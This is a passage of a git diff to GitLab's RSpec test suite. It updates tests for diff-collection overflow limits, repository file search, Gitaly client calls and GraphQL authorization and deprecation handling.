@@ -344,6 +394,8 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'and few enough lines' do
let(:line_count) { 1 }
+ it_behaves_like 'overflow stuff'
+
describe '#overflow?' do
subject { super().overflow? }
@@ -375,6 +427,9 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'adding too many bytes' do
let(:file_count) { 10 }
let(:line_length) { 5200 }
+ let(:overflow_max_bytes) { true }
+
+ it_behaves_like 'overflow stuff'
describe '#overflow?' do
subject { super().overflow? }
@@ -404,6 +459,11 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
context 'when limiting is disabled' do
let(:limits) { false }
+ let(:overflow_max_bytes) { false }
+ let(:overflow_max_files) { false }
+ let(:overflow_max_lines) { false }
+
+ it_behaves_like 'overflow stuff'
describe '#overflow?' do
subject { super().overflow? }
@@ -437,6 +497,8 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
describe 'empty collection' do
subject { Gitlab::Git::DiffCollection.new([]) }
+ it_behaves_like 'overflow stuff'
+
describe '#overflow?' do
subject { super().overflow? }
@@ -555,7 +617,7 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
.and_return({ max_files: 2, max_lines: max_lines })
end
- it 'prunes diffs by default even little ones' do
+ it 'prunes diffs by default even little ones and sets collapsed_safe_files true' do
subject.each_with_index do |d, i|
if i < 2
expect(d.diff).not_to eq('')
@@ -563,6 +625,8 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
expect(d.diff).to eq('')
end
end
+
+ expect(subject.collapsed_safe_files?).to eq(true)
end
end
@@ -582,7 +646,7 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
.and_return({ max_files: max_files, max_lines: 80 })
end
- it 'prunes diffs by default even little ones' do
+ it 'prunes diffs by default even little ones and sets collapsed_safe_lines true' do
subject.each_with_index do |d, i|
if i < 2
expect(d.diff).not_to eq('')
@@ -590,26 +654,30 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
expect(d.diff).to eq('')
end
end
+
+ expect(subject.collapsed_safe_lines?).to eq(true)
end
end
context 'when go over safe limits on bytes' do
let(:iterator) do
[
- fake_diff(1, 45),
- fake_diff(1, 45),
- fake_diff(1, 20480),
- fake_diff(1, 1)
+ fake_diff(5, 10),
+ fake_diff(5000, 10),
+ fake_diff(5, 10),
+ fake_diff(5, 10)
]
end
before do
+ allow(Gitlab::CurrentSettings).to receive(:diff_max_patch_bytes).and_return(1.megabyte)
+
allow(Gitlab::Git::DiffCollection)
.to receive(:default_limits)
- .and_return({ max_files: max_files, max_lines: 80 })
+ .and_return({ max_files: 4, max_lines: 3000 })
end
- it 'prunes diffs by default even little ones' do
+ it 'prunes diffs by default even little ones and sets collapsed_safe_bytes true' do
subject.each_with_index do |d, i|
if i < 2
expect(d.diff).not_to eq('')
@@ -617,6 +685,8 @@ RSpec.describe Gitlab::Git::DiffCollection, :seed_helper do
expect(d.diff).to eq('')
end
end
+
+ expect(subject.collapsed_safe_bytes?).to eq(true)
end
end
end
diff --git a/spec/lib/gitlab/git/repository_spec.rb b/spec/lib/gitlab/git/repository_spec.rb
index cc1b1ceadcf..1e259c9c153 100644
--- a/spec/lib/gitlab/git/repository_spec.rb
+++ b/spec/lib/gitlab/git/repository_spec.rb
@@ -564,6 +564,41 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
end
end
+ describe '#search_files_by_regexp' do
+ let(:ref) { 'master' }
+
+ subject(:result) { mutable_repository.search_files_by_regexp(filter, ref) }
+
+ context 'when sending a valid regexp' do
+ let(:filter) { 'files\/.*\/.*\.rb' }
+
+ it 'returns matched files' do
+ expect(result).to contain_exactly('files/links/regex.rb',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/ruby/version_info.rb')
+ end
+ end
+
+ context 'when sending an ivalid regexp' do
+ let(:filter) { '*.rb' }
+
+ it 'raises error' do
+ expect { result }.to raise_error(GRPC::InvalidArgument,
+ /missing argument to repetition operator: `*`/)
+ end
+ end
+
+ context "when the ref doesn't exist" do
+ let(:filter) { 'files\/.*\/.*\.rb' }
+ let(:ref) { 'non-existing-branch' }
+
+ it 'returns an empty array' do
+ expect(result).to eq([])
+ end
+ end
+ end
+
describe '#find_remote_root_ref' do
it 'gets the remote root ref from GitalyClient' do
expect_any_instance_of(Gitlab::GitalyClient::RemoteService)
@@ -1711,14 +1746,15 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
let(:right_branch) { 'test-master' }
let(:first_parent_ref) { 'refs/heads/test-master' }
let(:target_ref) { 'refs/merge-requests/999/merge' }
- let(:allow_conflicts) { false }
before do
repository.create_branch(right_branch, branch_head) unless repository.ref_exists?(first_parent_ref)
end
def merge_to_ref
- repository.merge_to_ref(user, left_sha, right_branch, target_ref, 'Merge message', first_parent_ref, allow_conflicts)
+ repository.merge_to_ref(user,
+ source_sha: left_sha, branch: right_branch, target_ref: target_ref,
+ message: 'Merge message', first_parent_ref: first_parent_ref)
end
it 'generates a commit in the target_ref' do
diff --git a/spec/lib/gitlab/git/tag_spec.rb b/spec/lib/gitlab/git/tag_spec.rb
index f83ccc6cae0..b6ff76c5e1c 100644
--- a/spec/lib/gitlab/git/tag_spec.rb
+++ b/spec/lib/gitlab/git/tag_spec.rb
@@ -101,4 +101,17 @@ RSpec.describe Gitlab::Git::Tag, :seed_helper do
end
end
end
+
+ describe "#cache_key" do
+ subject { repository.tags.first }
+
+ it "returns a cache key that changes based on changeable values" do
+ expect(subject).to receive(:name).and_return("v1.0.0")
+ expect(subject).to receive(:message).and_return("Initial release")
+
+ digest = Digest::SHA1.hexdigest(["v1.0.0", "Initial release", subject.target, subject.target_commit.sha].join)
+
+ expect(subject.cache_key).to eq("tag:#{digest}")
+ end
+ end
end
diff --git a/spec/lib/gitlab/gitaly_client/blob_service_spec.rb b/spec/lib/gitlab/gitaly_client/blob_service_spec.rb
index 037734f1b13..e35f541f5c8 100644
--- a/spec/lib/gitlab/gitaly_client/blob_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/blob_service_spec.rb
@@ -43,6 +43,33 @@ RSpec.describe Gitlab::GitalyClient::BlobService do
subject
end
end
+
+ context 'with hook environment' do
+ let(:git_env) do
+ {
+ 'GIT_OBJECT_DIRECTORY_RELATIVE' => '.git/objects',
+ 'GIT_ALTERNATE_OBJECT_DIRECTORIES_RELATIVE' => ['/dir/one', '/dir/two']
+ }
+ end
+
+ let(:expected_params) do
+ expected_repository = repository.gitaly_repository
+ expected_repository.git_alternate_object_directories = Google::Protobuf::RepeatedField.new(:string)
+
+ { limit: limit, repository: expected_repository }
+ end
+
+ it 'sends a list_all_lfs_pointers message' do
+ allow(Gitlab::Git::HookEnv).to receive(:all).with(repository.gl_repository).and_return(git_env)
+
+ expect_any_instance_of(Gitaly::BlobService::Stub)
+ .to receive(:list_all_lfs_pointers)
+ .with(gitaly_request_with_params(expected_params), kind_of(Hash))
+ .and_return([])
+
+ subject
+ end
+ end
end
describe '#get_all_lfs_pointers' do
diff --git a/spec/lib/gitlab/gitaly_client/call_spec.rb b/spec/lib/gitlab/gitaly_client/call_spec.rb
index 5c33ac40460..099307fc4e1 100644
--- a/spec/lib/gitlab/gitaly_client/call_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/call_spec.rb
@@ -24,11 +24,14 @@ RSpec.describe Gitlab::GitalyClient::Call do
def expect_call_details_to_match(duration_higher_than: 0)
expect(client.list_call_details.size).to eq(1)
expect(client.list_call_details.first)
- .to match a_hash_including(feature: "#{service}##{rpc}",
- duration: a_value > duration_higher_than,
- request: an_instance_of(Hash),
- rpc: rpc,
- backtrace: an_instance_of(Array))
+ .to match a_hash_including(
+ start: a_value > 0,
+ feature: "#{service}##{rpc}",
+ duration: a_value > duration_higher_than,
+ request: an_instance_of(Hash),
+ rpc: rpc,
+ backtrace: an_instance_of(Array)
+ )
end
context 'when the response is not an enumerator' do
diff --git a/spec/lib/gitlab/gitaly_client/object_pool_service_spec.rb b/spec/lib/gitlab/gitaly_client/object_pool_service_spec.rb
index 15eebf62a39..9c3bc935acc 100644
--- a/spec/lib/gitlab/gitaly_client/object_pool_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/object_pool_service_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Gitlab::GitalyClient::ObjectPoolService do
subject { described_class.new(object_pool) }
before do
- subject.create(raw_repository)
+ subject.create(raw_repository) # rubocop:disable Rails/SaveBang
end
describe '#create' do
@@ -22,7 +22,7 @@ RSpec.describe Gitlab::GitalyClient::ObjectPoolService do
context 'when the pool already exists' do
it 'returns an error' do
expect do
- subject.create(raw_repository)
+ subject.create(raw_repository) # rubocop:disable Rails/SaveBang
end.to raise_error(GRPC::FailedPrecondition)
end
end
diff --git a/spec/lib/gitlab/gitaly_client/operation_service_spec.rb b/spec/lib/gitlab/gitaly_client/operation_service_spec.rb
index 22707c9a36b..9a17140a1e0 100644
--- a/spec/lib/gitlab/gitaly_client/operation_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/operation_service_spec.rb
@@ -88,17 +88,29 @@ RSpec.describe Gitlab::GitalyClient::OperationService do
let(:source_sha) { 'cfe32cf61b73a0d5e9f13e774abde7ff789b1660' }
let(:ref) { 'refs/merge-requests/x/merge' }
let(:message) { 'validación' }
- let(:allow_conflicts) { false }
let(:response) { Gitaly::UserMergeToRefResponse.new(commit_id: 'new-commit-id') }
- subject { client.user_merge_to_ref(user, source_sha, nil, ref, message, first_parent_ref, allow_conflicts) }
+ let(:payload) do
+ { source_sha: source_sha, branch: 'branch', target_ref: ref,
+ message: message, first_parent_ref: first_parent_ref, allow_conflicts: true }
+ end
it 'sends a user_merge_to_ref message' do
- expect_any_instance_of(Gitaly::OperationService::Stub)
- .to receive(:user_merge_to_ref).with(kind_of(Gitaly::UserMergeToRefRequest), kind_of(Hash))
- .and_return(response)
-
- subject
+ freeze_time do
+ expect_any_instance_of(Gitaly::OperationService::Stub).to receive(:user_merge_to_ref) do |_, request, options|
+ expect(options).to be_kind_of(Hash)
+ expect(request.to_h).to eq(
+ payload.merge({
+ repository: repository.gitaly_repository.to_h,
+ message: message.dup.force_encoding(Encoding::ASCII_8BIT),
+ user: Gitlab::Git::User.from_gitlab(user).to_gitaly.to_h,
+ timestamp: { nanos: 0, seconds: Time.current.to_i }
+ })
+ )
+ end.and_return(response)
+
+ client.user_merge_to_ref(user, **payload)
+ end
end
end
diff --git a/spec/lib/gitlab/gitaly_client/repository_service_spec.rb b/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
index 7a382df1248..26ec194a2e7 100644
--- a/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
@@ -246,6 +246,21 @@ RSpec.describe Gitlab::GitalyClient::RepositoryService do
end
end
+ describe '#search_files_by_regexp' do
+ subject(:result) { client.search_files_by_regexp('master', '.*') }
+
+ before do
+ expect_any_instance_of(Gitaly::RepositoryService::Stub)
+ .to receive(:search_files_by_name)
+ .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
+ .and_return([double(files: ['file1.txt']), double(files: ['file2.txt'])])
+ end
+
+ it 'sends a search_files_by_name message and returns a flatten array' do
+ expect(result).to contain_exactly('file1.txt', 'file2.txt')
+ end
+ end
+
describe '#disconnect_alternates' do
let(:project) { create(:project, :repository) }
let(:repository) { project.repository }
@@ -255,7 +270,7 @@ RSpec.describe Gitlab::GitalyClient::RepositoryService do
let(:object_pool_service) { Gitlab::GitalyClient::ObjectPoolService.new(object_pool) }
before do
- object_pool_service.create(repository)
+ object_pool_service.create(repository) # rubocop:disable Rails/SaveBang
object_pool_service.link_repository(repository)
end
diff --git a/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb
index e42b6d89c30..01d9edf0ba1 100644
--- a/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::GithubImport::Importer::PullRequestMergedByImporter, :clean_gitlab_redis_cache do
let_it_be(:merge_request) { create(:merged_merge_request) }
+
let(:project) { merge_request.project }
let(:merged_at) { Time.new(2017, 1, 1, 12, 00).utc }
let(:client_double) { double(user: double(id: 999, login: 'merger', email: 'merger@email.com')) }
diff --git a/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb
index 290f3f51202..5002e0384f3 100644
--- a/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestReviewImporter, :clean
using RSpec::Parameterized::TableSyntax
let_it_be(:merge_request) { create(:merge_request) }
+
let(:project) { merge_request.project }
let(:client_double) { double(user: double(id: 999, login: 'author', email: 'author@email.com')) }
let(:submitted_at) { Time.new(2017, 1, 1, 12, 00).utc }
diff --git a/spec/lib/gitlab/github_import/milestone_finder_spec.rb b/spec/lib/gitlab/github_import/milestone_finder_spec.rb
index 5da45b1897f..fe8652eb5a2 100644
--- a/spec/lib/gitlab/github_import/milestone_finder_spec.rb
+++ b/spec/lib/gitlab/github_import/milestone_finder_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::GithubImport::MilestoneFinder, :clean_gitlab_redis_cache do
let_it_be(:project) { create(:project) }
let_it_be(:milestone) { create(:milestone, project: project) }
+
let(:finder) { described_class.new(project) }
describe '#id_for' do
diff --git a/spec/lib/gitlab/graphql/authorize/authorize_field_service_spec.rb b/spec/lib/gitlab/graphql/authorize/authorize_field_service_spec.rb
deleted file mode 100644
index c88506899cd..00000000000
--- a/spec/lib/gitlab/graphql/authorize/authorize_field_service_spec.rb
+++ /dev/null
@@ -1,253 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-# Also see spec/graphql/features/authorization_spec.rb for
-# integration tests of AuthorizeFieldService
-RSpec.describe Gitlab::Graphql::Authorize::AuthorizeFieldService do
- def type(type_authorizations = [])
- Class.new(Types::BaseObject) do
- graphql_name 'TestType'
-
- authorize type_authorizations
- end
- end
-
- def type_with_field(field_type, field_authorizations = [], resolved_value = 'Resolved value', **options)
- Class.new(Types::BaseObject) do
- graphql_name 'TestTypeWithField'
- options.reverse_merge!(null: true)
- field :test_field, field_type,
- authorize: field_authorizations,
- **options
-
- define_method :test_field do
- resolved_value
- end
- end
- end
-
- def resolve
- service.authorized_resolve[type_instance, {}, context]
- end
-
- subject(:service) { described_class.new(field) }
-
- describe '#authorized_resolve' do
- let_it_be(:current_user) { build(:user) }
- let_it_be(:presented_object) { 'presented object' }
- let_it_be(:query_type) { GraphQL::ObjectType.new }
- let_it_be(:schema) { GitlabSchema }
- let_it_be(:query) { GraphQL::Query.new(schema, document: nil, context: {}, variables: {}) }
- let_it_be(:context) { GraphQL::Query::Context.new(query: query, values: { current_user: current_user }, object: nil) }
-
- let(:type_class) { type_with_field(custom_type, :read_field, presented_object) }
- let(:type_instance) { type_class.authorized_new(presented_object, context) }
- let(:field) { type_class.fields['testField'].to_graphql }
-
- subject(:resolved) { ::Gitlab::Graphql::Lazy.force(resolve) }
-
- context 'reading the field of a lazy value' do
- let(:ability) { :read_field }
- let(:presented_object) { lazy_upcase('a') }
- let(:type_class) { type_with_field(GraphQL::STRING_TYPE, ability) }
-
- let(:upcaser) do
- Module.new do
- def self.upcase(strs)
- strs.map(&:upcase)
- end
- end
- end
-
- def lazy_upcase(str)
- ::BatchLoader::GraphQL.for(str).batch do |strs, found|
- strs.zip(upcaser.upcase(strs)).each { |s, us| found[s, us] }
- end
- end
-
- it 'does not run authorizations until we force the resolved value' do
- expect(Ability).not_to receive(:allowed?)
-
- expect(resolve).to respond_to(:force)
- end
-
- it 'runs authorizations when we force the resolved value' do
- spy_ability_check_for(ability, 'A')
-
- expect(resolved).to eq('Resolved value')
- end
-
- it 'redacts values that fail the permissions check' do
- spy_ability_check_for(ability, 'A', passed: false)
-
- expect(resolved).to be_nil
- end
-
- context 'we batch two calls' do
- def resolve(value)
- instance = type_class.authorized_new(lazy_upcase(value), context)
- service.authorized_resolve[instance, {}, context]
- end
-
- it 'batches resolution, but authorizes each object separately' do
- expect(upcaser).to receive(:upcase).once.and_call_original
- spy_ability_check_for(:read_field, 'A', passed: true)
- spy_ability_check_for(:read_field, 'B', passed: false)
- spy_ability_check_for(:read_field, 'C', passed: true)
-
- a = resolve('a')
- b = resolve('b')
- c = resolve('c')
-
- expect(a.force).to be_present
- expect(b.force).to be_nil
- expect(c.force).to be_present
- end
- end
- end
-
- shared_examples 'authorizing fields' do
- context 'scalar types' do
- shared_examples 'checking permissions on the presented object' do
- it 'checks the abilities on the object being presented and returns the value' do
- expected_permissions.each do |permission|
- spy_ability_check_for(permission, presented_object, passed: true)
- end
-
- expect(resolved).to eq('Resolved value')
- end
-
- it 'returns nil if the value was not authorized' do
- allow(Ability).to receive(:allowed?).and_return false
-
- expect(resolved).to be_nil
- end
- end
-
- context 'when the field is a built-in scalar type' do
- let(:type_class) { type_with_field(GraphQL::STRING_TYPE, :read_field) }
- let(:expected_permissions) { [:read_field] }
-
- it_behaves_like 'checking permissions on the presented object'
- end
-
- context 'when the field is a list of scalar types' do
- let(:type_class) { type_with_field([GraphQL::STRING_TYPE], :read_field) }
- let(:expected_permissions) { [:read_field] }
-
- it_behaves_like 'checking permissions on the presented object'
- end
-
- context 'when the field is sub-classed scalar type' do
- let(:type_class) { type_with_field(Types::TimeType, :read_field) }
- let(:expected_permissions) { [:read_field] }
-
- it_behaves_like 'checking permissions on the presented object'
- end
-
- context 'when the field is a list of sub-classed scalar types' do
- let(:type_class) { type_with_field([Types::TimeType], :read_field) }
- let(:expected_permissions) { [:read_field] }
-
- it_behaves_like 'checking permissions on the presented object'
- end
- end
-
- context 'when the field is a connection' do
- context 'when it resolves to nil' do
- let(:type_class) { type_with_field(Types::QueryType.connection_type, :read_field, nil) }
-
- it 'does not fail when authorizing' do
- expect(resolved).to be_nil
- end
- end
-
- context 'when it returns values' do
- let(:objects) { [1, 2, 3] }
- let(:field_type) { type([:read_object]).connection_type }
- let(:type_class) { type_with_field(field_type, [], objects) }
-
- it 'filters out unauthorized values' do
- spy_ability_check_for(:read_object, 1, passed: true)
- spy_ability_check_for(:read_object, 2, passed: false)
- spy_ability_check_for(:read_object, 3, passed: true)
-
- expect(resolved.nodes).to eq [1, 3]
- end
- end
- end
-
- context 'when the field is a specific type' do
- let(:custom_type) { type(:read_type) }
- let(:object_in_field) { double('presented in field') }
-
- let(:type_class) { type_with_field(custom_type, :read_field, object_in_field) }
- let(:type_instance) { type_class.authorized_new(object_in_field, context) }
-
- it 'checks both field & type permissions' do
- spy_ability_check_for(:read_field, object_in_field, passed: true)
- spy_ability_check_for(:read_type, object_in_field, passed: true)
-
- expect(resolved).to eq(object_in_field)
- end
-
- it 'returns nil if viewing was not allowed' do
- spy_ability_check_for(:read_field, object_in_field, passed: false)
- spy_ability_check_for(:read_type, object_in_field, passed: true)
-
- expect(resolved).to be_nil
- end
-
- context 'when the field is not nullable' do
- let(:type_class) { type_with_field(custom_type, :read_field, object_in_field, null: false) }
-
- it 'returns nil when viewing is not allowed' do
- spy_ability_check_for(:read_type, object_in_field, passed: false)
-
- expect(resolved).to be_nil
- end
- end
-
- context 'when the field is a list' do
- let(:object_1) { double('presented in field 1') }
- let(:object_2) { double('presented in field 2') }
- let(:presented_types) { [double(object: object_1), double(object: object_2)] }
-
- let(:type_class) { type_with_field([custom_type], :read_field, presented_types) }
- let(:type_instance) { type_class.authorized_new(presented_types, context) }
-
- it 'checks all permissions' do
- allow(Ability).to receive(:allowed?) { true }
-
- spy_ability_check_for(:read_field, object_1, passed: true)
- spy_ability_check_for(:read_type, object_1, passed: true)
- spy_ability_check_for(:read_field, object_2, passed: true)
- spy_ability_check_for(:read_type, object_2, passed: true)
-
- expect(resolved).to eq(presented_types)
- end
-
- it 'filters out objects that the user cannot see' do
- allow(Ability).to receive(:allowed?) { true }
-
- spy_ability_check_for(:read_type, object_1, passed: false)
-
- expect(resolved).to contain_exactly(have_attributes(object: object_2))
- end
- end
- end
- end
-
- it_behaves_like 'authorizing fields'
- end
-
- private
-
- def spy_ability_check_for(ability, object, passed: true)
- expect(Ability)
- .to receive(:allowed?)
- .with(current_user, ability, object)
- .and_return(passed)
- end
-end
diff --git a/spec/lib/gitlab/graphql/authorize/authorize_resource_spec.rb b/spec/lib/gitlab/graphql/authorize/authorize_resource_spec.rb
index c5d7665c3b2..0c548e1ce32 100644
--- a/spec/lib/gitlab/graphql/authorize/authorize_resource_spec.rb
+++ b/spec/lib/gitlab/graphql/authorize/authorize_resource_spec.rb
@@ -12,7 +12,8 @@ RSpec.describe Gitlab::Graphql::Authorize::AuthorizeResource do
authorize :read_the_thing
def initialize(user, found_object)
- @user, @found_object = user, found_object
+ @user = user
+ @found_object = found_object
end
def find_object
@@ -22,6 +23,14 @@ RSpec.describe Gitlab::Graphql::Authorize::AuthorizeResource do
def current_user
user
end
+
+ def context
+ { current_user: user }
+ end
+
+ def self.authorization
+ @authorization ||= ::Gitlab::Graphql::Authorize::ObjectAuthorization.new(required_permissions)
+ end
end
end
@@ -30,11 +39,14 @@ RSpec.describe Gitlab::Graphql::Authorize::AuthorizeResource do
subject(:loading_resource) { fake_class.new(user, project) }
+ before do
+ # don't allow anything by default
+ allow(Ability).to receive(:allowed?).and_return(false)
+ end
+
context 'when the user is allowed to perform the action' do
before do
- allow(Ability).to receive(:allowed?).with(user, :read_the_thing, project, scope: :user) do
- true
- end
+ allow(Ability).to receive(:allowed?).with(user, :read_the_thing, project).and_return(true)
end
describe '#authorized_find!' do
@@ -48,24 +60,12 @@ RSpec.describe Gitlab::Graphql::Authorize::AuthorizeResource do
expect { loading_resource.authorize!(project) }.not_to raise_error
end
end
-
- describe '#authorized_resource?' do
- it 'is true' do
- expect(loading_resource.authorized_resource?(project)).to be(true)
- end
- end
end
context 'when the user is not allowed to perform the action' do
- before do
- allow(Ability).to receive(:allowed?).with(user, :read_the_thing, project, scope: :user) do
- false
- end
- end
-
describe '#authorized_find!' do
it 'raises an error' do
- expect { loading_resource.authorize!(project) }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ expect { loading_resource.authorized_find! }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
end
end
@@ -74,12 +74,6 @@ RSpec.describe Gitlab::Graphql::Authorize::AuthorizeResource do
expect { loading_resource.authorize!(project) }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
end
end
-
- describe '#authorized_resource?' do
- it 'is false' do
- expect(loading_resource.authorized_resource?(project)).to be(false)
- end
- end
end
context 'when the class does not define #find_object' do
@@ -92,46 +86,6 @@ RSpec.describe Gitlab::Graphql::Authorize::AuthorizeResource do
end
end
- context 'when the class does not define authorize' do
- let(:fake_class) do
- Class.new do
- include Gitlab::Graphql::Authorize::AuthorizeResource
-
- attr_reader :user, :found_object
-
- def initialize(user, found_object)
- @user, @found_object = user, found_object
- end
-
- def find_object(*_args)
- found_object
- end
-
- def current_user
- user
- end
-
- def self.name
- 'TestClass'
- end
- end
- end
-
- let(:error) { /#{fake_class.name} has no authorizations/ }
-
- describe '#authorized_find!' do
- it 'raises a comprehensive error message' do
- expect { loading_resource.authorized_find! }.to raise_error(error)
- end
- end
-
- describe '#authorized_resource?' do
- it 'raises a comprehensive error message' do
- expect { loading_resource.authorized_resource?(project) }.to raise_error(error)
- end
- end
- end
-
describe '#authorize' do
it 'adds permissions from subclasses to those of superclasses when used on classes' do
base_class = Class.new do
diff --git a/spec/lib/gitlab/graphql/authorize/object_authorization_spec.rb b/spec/lib/gitlab/graphql/authorize/object_authorization_spec.rb
new file mode 100644
index 00000000000..73e25f23848
--- /dev/null
+++ b/spec/lib/gitlab/graphql/authorize/object_authorization_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe ::Gitlab::Graphql::Authorize::ObjectAuthorization do
+ describe '#ok?' do
+ subject { described_class.new(%i[go_fast go_slow]) }
+
+ let(:user) { double(:User, id: 10001) }
+
+ let(:policy) do
+ Class.new(::DeclarativePolicy::Base) do
+ condition(:fast, scope: :subject) { @subject.x >= 10 }
+ condition(:slow, scope: :subject) { @subject.y >= 10 }
+
+ rule { fast }.policy do
+ enable :go_fast
+ end
+
+ rule { slow }.policy do
+ enable :go_slow
+ end
+ end
+ end
+
+ before do
+ stub_const('Foo', Struct.new(:x, :y))
+ stub_const('FooPolicy', policy)
+ end
+
+ context 'when there are no abilities' do
+ subject { described_class.new([]) }
+
+ it { is_expected.to be_ok(double, double) }
+ end
+
+ context 'when no ability should be allowed' do
+ let(:object) { Foo.new(0, 0) }
+
+ it { is_expected.not_to be_ok(object, user) }
+ end
+
+ context 'when go_fast should be allowed' do
+ let(:object) { Foo.new(100, 0) }
+
+ it { is_expected.not_to be_ok(object, user) }
+ end
+
+ context 'when go_fast and go_slow should be allowed' do
+ let(:object) { Foo.new(100, 100) }
+
+ it { is_expected.to be_ok(object, user) }
+ end
+
+ context 'when the object delegates to another subject' do
+ def proxy(foo)
+ double(:Proxy, declarative_policy_subject: foo)
+ end
+
+ it { is_expected.to be_ok(proxy(Foo.new(100, 100)), user) }
+ it { is_expected.not_to be_ok(proxy(Foo.new(0, 100)), user) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/graphql/batch_key_spec.rb b/spec/lib/gitlab/graphql/batch_key_spec.rb
index 881fba5c1be..7b73b27f24b 100644
--- a/spec/lib/gitlab/graphql/batch_key_spec.rb
+++ b/spec/lib/gitlab/graphql/batch_key_spec.rb
@@ -6,6 +6,7 @@ require 'test_prof/recipes/rspec/let_it_be'
RSpec.describe ::Gitlab::Graphql::BatchKey do
let_it_be(:rect) { Struct.new(:len, :width) }
let_it_be(:circle) { Struct.new(:radius) }
+
let(:lookahead) { nil }
let(:object) { rect.new(2, 3) }
diff --git a/spec/lib/gitlab/graphql/deprecation_spec.rb b/spec/lib/gitlab/graphql/deprecation_spec.rb
new file mode 100644
index 00000000000..8b41145b855
--- /dev/null
+++ b/spec/lib/gitlab/graphql/deprecation_spec.rb
@@ -0,0 +1,213 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'active_model'
+
+RSpec.describe ::Gitlab::Graphql::Deprecation do
+ let(:options) { {} }
+
+ subject(:deprecation) { described_class.parse(options) }
+
+ describe '.parse' do
+ context 'with nil' do
+ let(:options) { nil }
+
+ it 'parses to nil' do
+ expect(deprecation).to be_nil
+ end
+ end
+
+ context 'with empty options' do
+ let(:options) { {} }
+
+ it 'parses to an empty deprecation' do
+ expect(deprecation).to eq(described_class.new)
+ end
+ end
+
+ context 'with defined options' do
+ let(:options) { { reason: :renamed, milestone: '10.10' } }
+
+ it 'assigns the properties' do
+ expect(deprecation).to eq(described_class.new(reason: 'This was renamed', milestone: '10.10'))
+ end
+ end
+ end
+
+ describe 'validations' do
+ let(:options) { { reason: :renamed, milestone: '10.10' } }
+
+ it { is_expected.to be_valid }
+
+ context 'when the milestone is absent' do
+ before do
+ options.delete(:milestone)
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+
+ context 'when the milestone is not milestone-ish' do
+ before do
+ options[:milestone] = 'next year'
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+
+ context 'when the milestone is not a string' do
+ before do
+ options[:milestone] = 10.01
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+
+ context 'when the reason is absent' do
+ before do
+ options.delete(:reason)
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+
+ context 'when the reason is not a known reason' do
+ before do
+ options[:reason] = :not_stylish_enough
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+
+ context 'when the reason is a string' do
+ before do
+ options[:reason] = 'not stylish enough'
+ end
+
+ it { is_expected.to be_valid }
+ end
+
+ context 'when the reason is a string ending with a period' do
+ before do
+ options[:reason] = 'not stylish enough.'
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+ end
+
+ describe '#deprecation_reason' do
+ context 'when there is a replacement' do
+ let(:options) { { reason: :renamed, milestone: '10.10', replacement: 'X.y' } }
+
+ it 'renders as reason-replacement-milestone' do
+ expect(deprecation.deprecation_reason).to eq('This was renamed. Please use `X.y`. Deprecated in 10.10.')
+ end
+ end
+
+ context 'when there is no replacement' do
+ let(:options) { { reason: :renamed, milestone: '10.10' } }
+
+ it 'renders as reason-milestone' do
+ expect(deprecation.deprecation_reason).to eq('This was renamed. Deprecated in 10.10.')
+ end
+ end
+
+ describe 'processing of reason' do
+ described_class::REASONS.each_key do |known_reason|
+ context "when the reason is a known reason such as #{known_reason.inspect}" do
+ let(:options) { { reason: known_reason } }
+
+ it 'renders the reason_text correctly' do
+ expect(deprecation.deprecation_reason).to start_with(described_class::REASONS[known_reason])
+ end
+ end
+ end
+
+ context 'when the reason is any other string' do
+ let(:options) { { reason: 'unhelpful' } }
+
+ it 'appends a period' do
+ expect(deprecation.deprecation_reason).to start_with('unhelpful.')
+ end
+ end
+ end
+ end
+
+ describe '#edit_description' do
+ let(:options) { { reason: :renamed, milestone: '10.10' } }
+
+ it 'appends milestone:reason with a leading space if there is a description' do
+ desc = deprecation.edit_description('Some description.')
+
+ expect(desc).to eq('Some description. Deprecated in 10.10: This was renamed.')
+ end
+
+ it 'returns nil if there is no description' do
